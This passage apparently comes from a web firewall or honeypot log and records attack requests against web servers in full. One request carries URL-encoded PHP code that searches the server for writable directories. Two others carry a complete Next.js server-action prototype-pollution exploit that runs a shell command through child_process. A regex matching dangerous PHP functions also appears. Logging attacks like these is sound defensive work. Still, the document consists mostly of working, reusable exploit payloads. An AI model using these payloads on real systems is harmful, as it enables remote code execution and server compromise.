7%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4400\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nbW=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-20 23:43:44","20.203.102.60","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Safari\/605.1.15\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\ncache-control:no-cache\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundarya482e4294498dd80\ncontent-length:690\ndnt:1\nnext-action:x\n\n------WebKitFormBoundarya482e4294498dd80\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundarya482e4294498dd80\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundarya482e4294498dd80\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundarya482e4294498dd80--"]
["2026-04-20 23:59:42","146.56.251.98","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nsec-fetch-site:none\nnext-action:x\nsec-fetch-mode:navigate\ndnt:1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:47.254.126.238\naccept-language:en-GB,en;q=0.9\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:no-cache\ncontent-length:690\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundarydf7867ee21057ca0\n\n------WebKitFormBoundarydf7867ee21057ca0\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundarydf7867ee21057ca0\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundarydf7867ee21057ca0\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundarydf7867ee21057ca0--"]